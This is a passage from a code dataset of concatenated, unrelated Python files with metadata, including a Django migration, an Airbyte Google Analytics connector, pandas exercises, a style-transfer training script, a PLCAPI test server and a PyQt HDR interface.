unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Creature',\n fields=[\n ('id', models.AutoField(serialize=False, verbose_name='ID', primary_key=True, auto_created=True)),\n ('name', models.CharField(max_length=300)),\n ],\n ),\n migrations.CreateModel(\n name='MapPoint',\n fields=[\n ('id', models.AutoField(serialize=False, verbose_name='ID', primary_key=True, auto_created=True)),\n ('gpsNumber', models.CharField(max_length=20)),\n ('timestamp', models.DateTimeField()),\n ('latitude', models.DecimalField(decimal_places=9, max_digits=12)),\n ('longitude', models.DecimalField(decimal_places=9, max_digits=12)),\n ('altitude', models.DecimalField(decimal_places=3, max_digits=8)),\n ('temperature', models.DecimalField(decimal_places=2, max_digits=5)),\n ('public', models.BooleanField(default=False)),\n ('creature', models.ForeignKey(to='papukaaniApp.Creature')),\n ],\n ),\n migrations.AlterUniqueTogether(\n name='mappoint',\n unique_together=set([('gpsNumber', 'timestamp', 'latitude', 'longitude')]),\n ),\n ]\n","sub_path":"papukaaniApp/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"569627313","text":"#\n# MIT License\n#\n# Copyright (c) 2020 Airbyte\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n#\n\n\nimport json\nimport os\nimport pkgutil\nfrom pathlib import Path\nfrom typing import List\n\nfrom airbyte_protocol import ConfiguredAirbyteCatalog\nfrom base_singer import AirbyteLogger, BaseSingerSource\nfrom jsonschema.validators import Draft4Validator\nfrom tap_google_analytics import GAClient\n\n\nclass GoogleAnalyticsSingerSource(BaseSingerSource):\n \"\"\"\n Google Analytics API Reference: https://developers.google.com/analytics\n \"\"\"\n\n tap_cmd = \"tap-google-analytics\"\n tap_name = \"Google Analytics API\"\n api_error = Exception\n reports_to_read = None\n\n # can be overridden to change an input config\n def configure(self, raw_config: json, temp_dir: str) -> json:\n credentials = os.path.join(temp_dir, \"credentials.json\")\n with open(credentials, \"w\") as fh:\n fh.write(raw_config[\"credentials_json\"])\n raw_config[\"key_file_location\"] = credentials\n return super().configure(raw_config, temp_dir)\n\n def _validate_custom_reports(self, custom_reports_data: List[dict]):\n custom_reports_schema = json.loads(pkgutil.get_data(\"source_googleanalytics_singer\", \"custom_reports_schema.json\"))\n if not Draft4Validator(custom_reports_schema).is_valid(custom_reports_data):\n error_messages = []\n for error in Draft4Validator(custom_reports_schema).iter_errors(custom_reports_data):\n error_messages.append(error.message)\n raise Exception(\"An error occurred during custom_reports data validation: \" + \"; \".join(error_messages))\n\n def read_catalog(self, catalog_path: str) -> ConfiguredAirbyteCatalog:\n catalog = ConfiguredAirbyteCatalog.parse_obj(self.read_config(catalog_path))\n if not self.reports_to_read:\n self.reports_to_read = [i.stream.name for i in catalog.streams]\n return catalog_path\n\n def _get_reports_file_path(self, temp_dir: str, custom_reports_data: List[dict]) -> str:\n report_definition = (\n json.loads(pkgutil.get_data(\"tap_google_analytics\", \"defaults/default_report_definition.json\")) + custom_reports_data\n )\n if self.reports_to_read:\n report_definition = [i for i in report_definition if i[\"name\"] in self.reports_to_read]\n\n custom_reports = os.path.join(temp_dir, \"custom_reports.json\")\n with open(custom_reports, \"w\") as file:\n file.write(json.dumps(report_definition))\n\n return custom_reports\n\n def _check_custom_reports(self, config: dict = None, config_path: str = None):\n if config_path:\n config = self.read_config(config_path)\n custom_reports = config.pop(\"custom_reports\")\n if custom_reports.strip() and json.loads(custom_reports):\n custom_reports_data = json.loads(custom_reports)\n self._validate_custom_reports(custom_reports_data)\n credentials_path = Path(config[\"key_file_location\"])\n config[\"reports\"] = self._get_reports_file_path(credentials_path.parent, custom_reports_data)\n\n if config_path:\n self.write_config(config, config_path)\n\n def transform_config(self, raw_config: json):\n config = {\n \"key_file_location\": raw_config[\"key_file_location\"],\n \"view_id\": raw_config[\"view_id\"],\n \"start_date\": raw_config[\"start_date\"],\n \"custom_reports\": raw_config.get(\"custom_reports\", \"\"),\n }\n return config\n\n def try_connect(self, logger: AirbyteLogger, config: json):\n with open(config[\"key_file_location\"], \"r\") as file:\n contents = file.read()\n client_secrets = json.loads(contents)\n additional_fields = {\"end_date\": \"2050-10-01T00:00:00Z\", \"client_secrets\": client_secrets}\n augmented_config = dict(additional_fields, **config)\n client = GAClient(augmented_config)\n client.fetch_metadata()\n try:\n self._check_custom_reports(config=config)\n except Exception as e:\n raise Exception(f\"Custom Reports format is incorrect: {e}\")\n\n def discover_cmd(self, logger: AirbyteLogger, config_path: str) -> str:\n self._check_custom_reports(config_path=config_path)\n return f\"{self.tap_cmd} --config {config_path} --discover\"\n","sub_path":"airbyte-integrations/connectors/source-googleanalytics-singer/source_googleanalytics_singer/source.py","file_name":"source.py","file_ext":"py","file_size_in_byte":5348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"93389444","text":"import urllib.parse\nfrom typing import Iterator, Optional, Set, Union\nfrom contextlib import contextmanager\nfrom pathlib import Path\n\nfrom sqlalchemy import create_engine\nimport sqlalchemy.exc\n\nfrom .Address import Session, Base\nfrom .Connection import Connection, HTTPConnection, HTTPSConnection\nfrom .EndpointAPI import EndpointAPI\n\n\nclass PyLand:\n def __init__(self, data_go_kr: Optional[str] = None, juso_go_kr: Optional[str] = None) -> None:\n self._key_chain = {\n \"juso.go.kr\": juso_go_kr,\n \"data.go.kr\": urllib.parse.unquote(data_go_kr).strip(),\n }\n self._getter_pool = {} # type: Dict[str, Connection]\n self._endpoints = EndpointAPI.all()\n\n def available_api_names(self) -> Set[str]:\n return set(self._endpoints.keys())\n\n def get_api_by_name(self, name: str) -> EndpointAPI:\n endp = self._endpoints[name]\n getter = self._get_connection(endp.host())\n return endp(self._key_chain[endp.keyname()], getter, self.db_session_scope)\n\n def _get_connection(self, host: str) -> Connection:\n if host in self._getter_pool:\n return self._getter_pool[host]\n url = urllib.parse.urlparse(host)\n if url.scheme == \"http\":\n getter = HTTPConnection(url.netloc)\n elif url.scheme == \"https\":\n getter = HTTPSConnection(url.netloc)\n else:\n raise ValueError(\"Unrecognized protocol\")\n self._getter_pool[host] = getter\n return getter\n\n @classmethod\n def from_path(\n cls,\n data_go_kr: Union[Path, str],\n juso_go_kr: Union[Path, str],\n ) -> \"PyLand\":\n with Path(data_go_kr).open('r') as f:\n data_go_kr_key = f.readline()\n with Path(juso_go_kr).open('r') as f:\n juso_go_kr_key = f.readline()\n return PyLand(\n data_go_kr=data_go_kr_key,\n juso_go_kr=juso_go_kr_key\n )\n\n def bind_db(self, db_url: str, db_name: str, **kwargs) -> \"PyLand\":\n \"\"\"Set up engine and session\"\"\"\n engine = create_engine(db_url + \"/information_schema?charset=utf8mb4\", **kwargs)\n\n engine = create_engine(db_url + \"/\" + db_name, encoding='utf8', echo=False)\n try:\n conn = engine.connect()\n conn.execute(\"create database address\")\n conn.close()\n except sqlalchemy.exc.ProgrammingError:\n # Database already exists\n pass\n Base.metadata.create_all(engine)\n Session.configure(bind=engine)\n return self\n\n @contextmanager\n def db_session_scope(self) -> Iterator[Session]:\n \"\"\"Provide a transactional scope around a series of operations.\n\n Copied from `SQLAlchemy docs `__\n \"\"\"\n session = Session()\n try:\n yield session\n session.commit()\n except:\n session.rollback()\n raise\n finally:\n session.close()\n","sub_path":"pyland/PyLand.py","file_name":"PyLand.py","file_ext":"py","file_size_in_byte":3010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"139288200","text":"\n\n'''\n\n\n\n\n\n\n\n\n\n'''\n\n\nimport pandas as pd\n\ndata = pd.DataFrame({\n 'id' : [91,1002,500,None,1000,600,10],\n 'name' : ['Jim','Tom','lucy','lucky','Don','Donr','tt'],\n 'age':[21,22,20,32,21,40,50]\n})\n\ndata2 = pd.DataFrame({\n 'user_id' : [1,102,50,None,100,60,1],\n 'name' : ['Jim','Tm','lcy','luky','Dn','Dnr','t'],\n 'age':[21,22,20,32,21,40,50]\n})\n\ndata3 = pd.DataFrame({\n 'id' : [91,1002,500,None,1000,600,10],\n 'name' : ['Jim','Tom','lucy','lucky','Don','Donr','tt'],\n 'age':[21,22,20,32,21,40,50]\n})\n# # 1. SELECT * FROM data;\n#\n# print(data)\n#\n# # 2. SELECT * FROM data LIMIT 10;\n#\n# print(data.head(2))\n#\n# # 3. SELECT id FROM data; //id 是 data 表的特定一列\n#\n# print(data['id'])\n#\n# # 4. SELECT COUNT(id) FROM data;\n# print(data.count(axis=0)['id'])\n\n# # 5. SELECT * FROM data WHERE id<1000 AND age>30;\n#\n# print(data[(data['id']< 1000) & (data['age'] > 30 )] )\n\n# 6. SELECT id,COUNT(DISTINCT order_id) FROM table1 GROUP BY id;\n\n# print(data.groupby('id').count())\n\n# 7. SELECT * FROM table1 t1 INNER JOIN table2 t2 ON t1.id = t2.id;\n\nprint( data.merge(data2, left_on='id', right_on='user_id'))\n\n# 8. SELECT * FROM table1 UNION SELECT * FROM table2;\nprint(pd.concat([data,data3]))\n\n# 9. DELETE FROM table1 WHERE id=10;\nprint(data.drop(data [data['id'] == 10].index))\n# 10. ALTER TABLE table1 DROP COLUMN column_name;\nprint(data.drop('name',axis=1))\n","sub_path":"week04/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"620092162","text":"import os\nimport json\nimport cv2\nimport numpy as np\nimport string\nimport logging\n\ndef LBP(img, y, x): \n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n center = gray[y, x]\n lbp = [ int(gray[y - 1, x - 1] < center), int(gray[y - 1, x] < center), int(gray[y - 1, x + 1] < center),\n int(gray[y , x - 1] < center), int(gray[y , x + 1] < center),\n int(gray[y + 1, x - 1] < center), int(gray[y + 1, x] < center), int(gray[y + 1, x + 1] < center)\n ]\n return lbp\n\nclass DataForm(object):\n def __init__(self, path_to_data, label):\n self.path = path_to_data \n self.labels = []\n self.samples = []\n self.label = label \n self.dir_files = []\n \n def data_construct(self):\n self.dir_files = os.listdir(self.path)\n for filename in self.dir_files:\n if filename.endswith('.jpg'): \n self.samples.append(os.path.join(self.path,filename))\n self.labels.append(self.label)\n return self.samples, self.labels\n\n\nclass ImageDescr(object): \n def __init__(self, descr_type, image):\n self.pixels = []\n \n for y in range(1, image.shape[0] - 1): \n for x in range(1, image.shape[1] - 1): \n pixel_descr = descr_type(image, y, x)\n self.pixels.append(pixel_descr)\n \n self.np_pixels=np.array(self.pixels)\n\n def agregate(self): \n print('YO',sum(self.np_pixels))\n return sum(self.np_pixels) # TODO pral'no?\n \nclass DataCash(object):\n def __init__(self, sample_path, label_path, samples, labels):\n self.sample_path = sample_path\n self.label_path = label_path\n self.samples = samples\n self.labels = labels\n\n def cash(self):\n self.file = open(sample_path, 'w')\n self.file.write(json.dumps(self.samples))\n self.file.close()\n self.file = open(label_path, 'w')\n self.file.write(json.dumps(self.labels))\n self.file.close() \n\nclass tracking(object):\n def __init__(self):\n cv2.namedWindow(\"Color-tracking\",1)\n self.capture = cv2.VideoCapture(0)\n \n def track(self):\n self.res, self.img = self.capture.read()\n \n\n\n\n\nif __name__ == '__main__': \n \n samples = []\n labels = []\n PROJ_DIR = os.path.dirname(os.path.realpath(__file__))\n POSITIIVE_PATH = os.path.join(PROJ_DIR, 'P1')\n NEGATIVE_PATH = os.path.join(PROJ_DIR, 'N1')\n DATA_PATH = os.path.join(PROJ_DIR, 'data/data.txt')\n LABEL_PATH = os.path.join(PROJ_DIR, 'data/labels.txt')\n\n samples_p, labels_p = DataForm(POSITIIVE_PATH, 1).data_construct()# пока я не впилил метод,выдавало ошибку:\"DataForm is not itarable\". Вопрос:что происходит когда метод не вызвается и почему выдает такую ошибку?\n samples.append(samples_p)\n labels.append(labels_p)\n samples_n, labels_n = DataForm(NEGATIVE_PATH, -1).data_construct()\n samples.append(samples_n)\n labels.append(labels_n)\n descr = [ImageDescr(LBP, cv2.imread(filepath)).agregate() for filepath in samples]\n print(descr[1])\n print('SAMPLES', samples)\n print('LABELS', labels)\n\n DataCash(DATA_PATH,LABEL_PATH,samples,labels).cash()\n \n\n\n\n\n\n# MAINTAIN PART! DONT PAY ATTENTION\n#class DataForm(object):\n# def __init__(self, path_to_data, label):\n# self.path = path_to_data \n# self.labels = []\n# self.samples = []\n# self.label = label \n# self.dir_files = []\n# print(\"vse ok1\")\n# \n# def data_construct(self):\n# self.dir_files = os.listdir(self.path)\n# print(self.dir_files, \"vse_ok2\")\n# for filename in self.dir_files:\n# if filename.endswith('.jpg'): \n# self.samples.append(os.path.join(self.path,filename))\n# self.labels.append(self.label)\n# return self.samples, self.labels","sub_path":"MAIN.py","file_name":"MAIN.py","file_ext":"py","file_size_in_byte":4044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"410299664","text":"# -*- coding:utf-8 -*-\n\n# 题目描述\n# 在一个二维数组中,每一行都按照从左到右递增的顺序排序,每一列都按照从上到下递增的顺序排序。\n# 请完成一个函数,输入这样的一个二维数组和一个整数,判断数组中是否含有该整数。\n\nclass Solution:\n # array 二维列表\n def Find(self, target, array):\n # write code here\n row_count = len(array)\n col_count = len(array[0])\n\n i = row_count - 1\n j = 0\n while i >= 0 and j < col_count:\n if target == array[i][j]:\n return True\n elif target > array[i][j]:\n j += 1\n else:\n i -= 1\n \n return False","sub_path":"剑指offer/编程题/python/001_二维数组查找.py","file_name":"001_二维数组查找.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"33018401","text":"from solution.page_objects.login_po import Login\nfrom solution.page_objects.projects_po import Projects\nfrom solution.page_objects.home_po import Home\nfrom solution.page_objects.base_page_po import BasePage\nimport unittest\n\n\nclass LoginAndCreateProject(BasePage):\n\n def test_login_and_create_project(self):\n\n #######LOGIN#######\n login_page = Login(self.driver)\n\n # MACBOOK\n # login_page.complete_and_sumbit(\"maximilianomikkan\", \"cardaABC123\")\n # DELL BSF\n login_page.complete_and_sumbit(\"mmikkan\", \"cardaABC123\")\n home_page = Home(self.driver)\n assert home_page.lbl.text == \"My page\", \"------------Houston we've got a problem--1----------\"\n\n #######PROJECT#######\n project_page = Projects(self.driver)\n\n home_page.navigate_to_projects()\n project_page.navigate_to_new_projects()\n assert project_page.search_field_new_project_tittle.text == \"New project\", \"------------Houston we've got a problem--2----------\"\n project_page.complete_new_project_form()\n assert project_page.search_field_project_was_created.text == \"Successful update.\", \"------------Houston we've got a problem--3----------\"\n project_page.navigate_to_projects()\n\nif __name__ == '__main__':\n unittest.main(verbosity=2)","sub_path":"test/login_and_create_project.py","file_name":"login_and_create_project.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"297126834","text":"userWord = input(\"Please enter a word:\")\nvowels = (\"a\",\"e\",\"i\",\"o\",\"u\")\nvowelsInWord = \"\"\n\n\nfor ch in userWord:\n if ch in vowels:\n vowelsInWord += ch + \" \"\n\nprint(\"Your word is\", userWord)\nprint(\"The vowels in your word are:\", vowelsInWord)\n\n","sub_path":"Week7/BMcM_showVowels.py","file_name":"BMcM_showVowels.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"577816755","text":"# Copyright (C) 2022 Intel Corporation\n# SPDX-License-Identifier: Apache-2.0\n\nimport argparse\nimport json\nfrom pathlib import Path\n\nfrom openvino.tools.mo.utils import import_extensions\nfrom openvino.tools.mo.utils.error import Error\n\n\ndef any_extensions_used(argv: argparse.Namespace):\n return hasattr(argv, 'extensions') and argv.extensions is not None and len(argv.extensions) > 0 \\\n and argv.extensions != import_extensions.default_path() # extensions arg has default value\n\n\ndef legacy_extensions_used(argv: argparse.Namespace):\n if any_extensions_used(argv):\n extensions = argv.extensions.split(',')\n legacy_ext_counter = 0\n for extension in extensions:\n path = Path(extension)\n if not path.is_file():\n legacy_ext_counter += 1\n if legacy_ext_counter == len(extensions):\n return True # provided only legacy extensions\n elif legacy_ext_counter == 0:\n return False # provided only new extensions\n else:\n raise Error('Using new and legacy extensions in the same time is forbidden')\n return False\n\n\ndef new_extensions_used(argv: argparse.Namespace):\n if any_extensions_used(argv):\n extensions = argv.extensions.split(',')\n new_ext_counter = 0\n for extension in argv.extensions.split(','):\n path = Path(extension)\n if path.is_file() and (path.suffix == '.so' or path.suffix == '.dll'):\n new_ext_counter += 1\n if new_ext_counter == len(extensions):\n return True # provided only new extensions\n elif new_ext_counter == 0:\n return False # provided only legacy extensions\n else:\n raise Error('Using new and legacy extensions in the same time is forbidden')\n return False\n\n\ndef is_new_json_config(json_file_path: str):\n with open(json_file_path) as stream:\n config_content = json.load(stream)\n if len(config_content) == 0: # empty case\n return False\n if isinstance(config_content, dict): # single transformation\n return 'library' in config_content.keys()\n # many transformations in single file\n library_counter = 0\n for transform in config_content:\n if any(key == 'library' for key in transform.keys()):\n library_counter+=1\n if len(config_content) == library_counter: # all transformations has 'library' attribute\n return True\n elif library_counter == 0: # all transformations are legacy type\n return False\n else:\n raise Error('Mixed types of transformations configurations were used')\n\n\ndef get_transformations_config_path(argv: argparse.Namespace) -> Path:\n if hasattr(argv, 'transformations_config') \\\n and argv.transformations_config is not None and len(argv.transformations_config):\n path = Path(argv.transformations_config)\n if path.is_file():\n return path\n return None\n\n\ndef new_transformations_config_used(argv: argparse.Namespace):\n path = get_transformations_config_path(argv)\n if path != None:\n return is_new_json_config(path)\n return False\n\n\ndef legacy_transformations_config_used(argv: argparse.Namespace):\n path = get_transformations_config_path(argv)\n if path != None:\n return not is_new_json_config(path)\n return False\n\n\ndef input_freezig_used(argv):\n return hasattr(argv, 'freeze_placeholder_with_value') and argv.freeze_placeholder_with_value is not None \\\n and len(argv.freeze_placeholder_with_value) > 0\n","sub_path":"tools/mo/openvino/tools/mo/moc_frontend/check_config.py","file_name":"check_config.py","file_ext":"py","file_size_in_byte":3592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"57292721","text":"def has_bigger(l, p):\n for i in l:\n if i > p:\n return True\n return False\n\nT = int(input())\n\nfor _ in range(T):\n N, I = [int(x) for x in input().split()]\n idx_q = list(range(N))\n prior_q = [int(x) for x in input().split()]\n print_q = []\n\n while not print_q or print_q[-1] != I:\n if has_bigger(prior_q, prior_q[0]):\n prior_q.append(prior_q.pop(0))\n idx_q.append(idx_q.pop(0))\n else:\n print_q.append(idx_q.pop(0))\n prior_q.pop(0)\n\n print(len(print_q))","sub_path":"01_김아경/week04/1966.py","file_name":"1966.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"569880181","text":"import os\nimport time\nimport argparse\n\nimport tqdm\nimport yaml\nimport numpy as np\n\nimport torch\nimport torchvision\n\nfrom utils import util\nfrom nets.nn import TransformerNet, VGG16\n\n\ndef train(config, device, styles):\n # Train config\n config = config['TRAIN']\n saved_models = [] # empty list for saving name of style models\n\n np.random.seed(config['seed'])\n torch.manual_seed(config['seed'])\n\n for style in styles:\n style_name = style.split(\"/\")[-1][:-4]\n os.makedirs(f\"{config['save_model_dir']}\", exist_ok=True)\n\n # Dataset and dataloader\n train_dataset = torchvision.datasets.ImageFolder(config['dataset'], util.train_transform(config['image_size']))\n train_loader = torch.utils.data.DataLoader(train_dataset, batch_size=config['batch_size'], num_workers=4)\n\n # Neural Network\n transformer = TransformerNet().to(device)\n vgg = VGG16(requires_grad=False).to(device)\n if torch.cuda.device_count() > 1:\n transformer = torch.nn.DataParallel(transformer)\n\n # Optimizer and loss\n optimizer = torch.optim.Adam(transformer.parameters(), config['lr'])\n mse_loss = torch.nn.MSELoss()\n\n # Load style image\n style = util.load_image(style, size=config['style_size'])\n style = util.transform(style)\n style = style.repeat(config['batch_size'], 1, 1, 1).to(device)\n\n # Extract features\n features_style = vgg(util.normalize_batch(style))\n gram_style = [util.gram_matrix(y) for y in features_style]\n # Train\n print(f'STARTED TRAINING for: {style_name} style')\n log = open('logs.txt', 'a')\n for epoch in range(config['num_epochs']):\n transformer.train()\n metrics = {\"content\": [], \"style\": [], \"total\": []}\n count = 0\n\n print(('\\n' + '%10s' * 2) % ('Epoch', 'GPU'))\n progress_bar = tqdm.tqdm(enumerate(train_loader), total=len(train_loader))\n for batch_id, (x, _) in progress_bar:\n n_batch = len(x)\n count += n_batch\n optimizer.zero_grad()\n\n x = x.to(device)\n y = transformer(x)\n\n y = util.normalize_batch(y)\n x = util.normalize_batch(x)\n\n features_y = vgg(y)\n features_x = vgg(x)\n\n content_loss = config['content_weight'] * mse_loss(features_y.relu2_2, features_x.relu2_2)\n\n style_loss = 0.\n for ft_y, gm_s in zip(features_y, gram_style):\n gm_y = util.gram_matrix(ft_y)\n style_loss += mse_loss(gm_y, gm_s[:n_batch, :, :])\n style_loss *= config['style_weight']\n\n total_loss = content_loss + style_loss\n total_loss.backward()\n optimizer.step()\n\n metrics['content'] += [content_loss.item()]\n metrics['style'] += [style_loss.item()]\n metrics['total'] += [total_loss.item()]\n\n if (batch_id + 1) % config['log_interval'] == 0:\n info = \"{}\\tEpoch {}:\\t[{}/{}]\\tContent: {:.2f}\\tStyle: {:.2f}\\tTotal: {:.2f}\\n\".format(\n time.ctime(), epoch + 1, count, len(train_dataset),\n np.mean(metrics['content']),\n np.mean(metrics['style']),\n np.mean(metrics['total'])\n )\n log.write(info)\n\n memory = '%.3gG' % (torch.cuda.memory_reserved() / 1E9 if torch.cuda.is_available() else 0)\n s = (('%10s' + '%10s') % (epoch + 1, memory))\n progress_bar.set_description(s)\n\n # save model\n transformer.eval().cpu()\n model_name = f'{style_name}.pth'\n saved_models.append(model_name)\n save_model_path = os.path.join(config['save_model_dir'], model_name)\n torch.save(transformer.state_dict(), save_model_path)\n log.close()\n print(\"\\nTrain finished: \", *saved_models)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--styles', required=True, type=str,\n help='path to folder') # path to a folder of style images\n args = parser.parse_args()\n\n # List of style images\n styles = [os.path.join(args.styles, style) for style in os.listdir(args.styles)]\n\n # Default config\n with open(r'utils/config.yaml') as file:\n config = yaml.load(file, Loader=yaml.FullLoader)\n\n # Configure device\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n train(config=config, device=device, styles=styles)\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"635910587","text":"#!/usr/bin/env python3\n#\n# Simple standalone HTTP server for testing PLCAPI\n#\n# Mark Huang \n# Copyright (C) 2006 The Trustees of Princeton University\n#\n\nimport os\nimport sys\nimport getopt\nimport traceback\nimport http.server\n\n# Append PLC to the system path\nsys.path.append(os.path.dirname(os.path.realpath(sys.argv[0])))\n\nfrom PLC.API import PLCAPI\n\nclass PLCAPIRequestHandler(http.server.BaseHTTPRequestHandler):\n \"\"\"\n Simple standalone HTTP request handler for testing PLCAPI.\n \"\"\"\n\n def do_POST(self):\n try:\n # Read request\n request = self.rfile.read(int(self.headers[\"Content-length\"]))\n\n # Handle request\n response = self.server.api.handle(self.client_address, request)\n\n # Write response\n self.send_response(200)\n self.send_header(\"Content-type\", \"text/xml\")\n self.send_header(\"Content-length\", str(len(response)))\n self.end_headers()\n self.wfile.write(response)\n\n self.wfile.flush()\n self.connection.shutdown(1)\n\n except Exception as e:\n # Log error\n sys.stderr.write(traceback.format_exc())\n sys.stderr.flush()\n\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-type\", 'text/html')\n self.end_headers()\n self.wfile.write(\"\"\"\n\nPLCAPI XML-RPC/SOAP Interface\n\n

PLCAPI XML-RPC/SOAP Interface

\n

Please use XML-RPC or SOAP to access the PLCAPI.

\n\n\"\"\") \n \nclass PLCAPIServer(http.server.HTTPServer):\n \"\"\"\n Simple standalone HTTP server for testing PLCAPI.\n \"\"\"\n\n def __init__(self, addr, config):\n self.api = PLCAPI(config)\n self.allow_reuse_address = 1\n http.server.HTTPServer.__init__(self, addr, PLCAPIRequestHandler)\n\n# Defaults\naddr = \"0.0.0.0\"\nport = 8000\nconfig = \"/etc/planetlab/plc_config\"\n\ndef usage():\n print(\"Usage: %s [OPTION]...\" % sys.argv[0])\n print(\"Options:\")\n print(\" -p PORT, --port=PORT TCP port number to listen on (default: %d)\" % port)\n print(\" -f FILE, --config=FILE PLC configuration file (default: %s)\" % config)\n print(\" -h, --help This message\")\n sys.exit(1)\n\n# Get options\ntry:\n (opts, argv) = getopt.getopt(sys.argv[1:], \"p:f:h\", [\"port=\", \"config=\", \"help\"])\nexcept getopt.GetoptError as err:\n print(\"Error: \" + err.msg)\n usage()\n\nfor (opt, optval) in opts:\n if opt == \"-p\" or opt == \"--port\":\n try:\n port = int(optval)\n except ValueError:\n usage()\n elif opt == \"-f\" or opt == \"--config\":\n config = optval\n elif opt == \"-h\" or opt == \"--help\":\n usage()\n\n# Start server\nPLCAPIServer((addr, port), config).serve_forever()\n","sub_path":"Server.py","file_name":"Server.py","file_ext":"py","file_size_in_byte":2849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"652482695","text":"import os\nfrom pathlib import Path\n\nimport cv2\nimport imageio\nimport io\nimport numpy as np\nfrom canon_cr3 import Image as Image3\nfrom PIL import Image\n\n\nfrom PyQt5 import uic\nfrom PyQt5.QtCore import Qt, QStandardPaths, QRectF, QUrl\nfrom PyQt5.QtGui import QImage, QPainter, QTextDocument\nfrom PyQt5.QtWidgets import QApplication, QWidget, QFileDialog, QInputDialog, QVBoxLayout, QPushButton, QStyle\n\nfrom Script.SuperHDR_2 import sdr_series_to_hdr_array\nfrom Script.SuperHDR_aux import sdrImage\n\n\ndef get_res(path, filename):\n ''' Get resources relative to the current file'''\n dirpath = os.path.dirname(os.path.realpath(__file__))\n fullpath = Path(os.path.join(dirpath, path + \"/\" + filename))\n if fullpath.exists():\n return fullpath.as_posix()\n else:\n return None\n\n\ndef ndarrayToQImage(img, fmt=QImage.Format_BGR888):\n height, width, _ = img.shape\n return QImage(img.data, width, height, img.strides[0], fmt)\n\n\ndef PIL2QImage(img, fmt=QImage.Format_RGB888):\n data = img.tobytes(\"raw\", \"RGB\")\n return QImage(data, img.size[0], img.size[1], fmt)\n\n\nclass MainWindow(QWidget):\n def __init__(self):\n super().__init__()\n self.sdr_series = [] # sdrImage objects are stored here\n self.hdr_array = None # output is stored here\n self.previews = []\n self.hdr_preview = None\n # Load UI, it can be also imported from HDRPlusForm.py\n uic.loadUi(\"HDRPlusForm.ui\", self)\n self.setupUi()\n\n def changeColorIntensity(self, value):\n self.colLabel.setText(f\"Color Intensity: {value}\")\n # Handle color intensity slider change here\n\n def changeBrightness(self, value):\n self.brightLabel.setText(f\"Brightness: {value}\")\n # Handle brightness slider change here\n\n def changeContrast(self, value):\n self.contLabel.setText(f\"Contrast: {value}\")\n # Handle contrast slider change here\n\n def changeWhiteBalance(self, value):\n self.wbLabel.setText(f\"White Balance: {value}\")\n # Handle white balance slider change here\n\n def setupUi(self):\n with open(get_res(\"text\", \"p1.md\")) as p1:\n self.text1.setMarkdown(p1.read())\n with open(get_res(\"text\", \"p2.md\")) as p2:\n self.text2.setMarkdown(p2.read())\n # self.text1.loadResource(QTextDocument.MarkdownResource, QUrl())\n # self.text2.loadResource(QTextDocument.MarkdownResource, QUrl(get_res(\"text\", \"p2.md\")))\n self.stackedWidget.setCurrentIndex(0)\n self.addItemImageStackWidget.setCurrentIndex(0)\n self.outputStack.setCurrentIndex(0)\n\n self.Execute.clicked.connect(self.execute)\n\n self.brightLabel.setText(f\"Brightness: {self.brightSlider.value()}\")\n self.brightSlider.valueChanged.connect(self.changeBrightness)\n\n self.colLabel.setText(f\"Color Intensity: {self.colSlider.value()}\")\n self.colSlider.valueChanged.connect(self.changeColorIntensity)\n\n self.contLabel.setText(f\"Contrast: {self.contSlider.value()}\")\n self.contSlider.valueChanged.connect(self.changeContrast)\n\n self.wbLabel.setText(f\"White Balance: {self.wbSlider.value()}\")\n self.wbSlider.valueChanged.connect(self.changeWhiteBalance)\n\n self.uploadBut.clicked.connect(self.upload)\n self.addItemImageBut.clicked.connect(self.upload)\n self.startBut.clicked.connect(self.start)\n self.downloadBut.clicked.connect(self.download)\n\n def 